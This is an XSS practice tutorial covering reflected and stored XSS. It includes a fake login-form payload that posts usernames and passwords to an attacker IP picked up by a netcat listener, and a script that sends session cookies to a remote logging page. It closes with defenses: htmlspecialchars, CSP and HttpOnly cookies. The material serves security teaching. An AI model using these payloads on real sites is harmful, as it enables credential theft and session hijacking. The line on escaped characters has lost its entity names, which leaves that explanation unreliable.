XSS: Cookie Theft & Fake Forms

Practice exercises on Cross-Site Scripting (XSS) attacks. XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to execute malicious scripts in the victim's browser.

Types of XSS

• Reflected: The injected script is bounced off the web server (e.g., in a search query) and executed immediately.
• Stored: The script is permanently stored on the target servers (e.g., in a database via a comment section) and executed when victims view the stored content.

1. Credential Theft via XSS + Netcat (Fake Forms)

We can inject HTML to craft a fake login prompt. Set up a Netcat listener:

nc -lvp 1337

Inject this payload to overlay a fake form that posts credentials directly to your attacking machine:

<h3>Session expired — please sign in again</h3>
<form action="http://10.0.2.15:1337">
  Username: <input type="text" name="username">
  Password: <input type="password" name="password">
  <input type="submit" value="Log In">
</form>

2. Silent Session Cookie Theft

If session cookies aren't protected with the HttpOnly flag, we can steal them using document.cookie. This payload creates an invisible image to force an HTTP GET request to our server, appending the cookie to the URL.

<script>
var img=new Image();
img.src="http://10.0.2.15:800/log.php?c="+document.cookie;
</script>

3. Defense: htmlspecialchars()

The golden rule is to never trust user input. In PHP, htmlspecialchars() converts special characters into safe HTML entities:

<?php
$input = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
echo $input;
?>

Characters escaped: < becomes <, > becomes >. The script tag renders safely as plain text instead of executing in the DOM.

Additional Countermeasures

• Content Security Policy (CSP): HTTP header that dictates which dynamic resources are allowed to load.
• HTTPOnly cookies: Blocks client-side scripts (JavaScript) from accessing session cookies.